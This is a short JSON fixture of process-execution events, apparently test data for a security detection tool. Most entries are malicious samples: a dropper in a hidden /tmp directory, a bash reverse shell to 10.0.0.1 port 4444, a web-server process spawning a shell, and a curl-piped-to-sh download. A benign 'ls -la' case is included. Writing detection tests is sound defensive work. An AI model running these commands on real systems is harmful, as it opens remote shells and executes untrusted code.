50 lines
913 B
JSON
50 lines
913 B
JSON
[
|
|
{
|
|
"pid": 1001,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"parent_comm": "bash",
|
|
"filename": "/tmp/.x/dropper",
|
|
"argv": []
|
|
},
|
|
{
|
|
"pid": 1002,
|
|
"ppid": 1001,
|
|
"uid": 1000,
|
|
"parent_comm": "bash",
|
|
"filename": "/bin/bash",
|
|
"argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"]
|
|
},
|
|
{
|
|
"pid": 1003,
|
|
"ppid": 55,
|
|
"uid": 33,
|
|
"parent_comm": "nginx",
|
|
"filename": "/bin/sh",
|
|
"argv": ["-c", "id"]
|
|
},
|
|
{
|
|
"pid": 1004,
|
|
"ppid": 1000,
|
|
"uid": 1000,
|
|
"parent_comm": "bash",
|
|
"filename": "/bin/sh",
|
|
"argv": ["-c", "curl http://example.invalid/x | sh"]
|
|
},
|
|
{
|
|
"pid": 1005,
|
|
"ppid": 99,
|
|
"uid": 1000,
|
|
"parent_comm": "cron",
|
|
"filename": "/opt/custom/tool",
|
|
"argv": ["danger", "now"]
|
|
},
|
|
{
|
|
"pid": 1006,
|
|
"ppid": 1,
|
|
"uid": 1000,
|
|
"parent_comm": "bash",
|
|
"filename": "/usr/bin/ls",
|
|
"argv": ["-la"]
|
|
}
|
|
]
|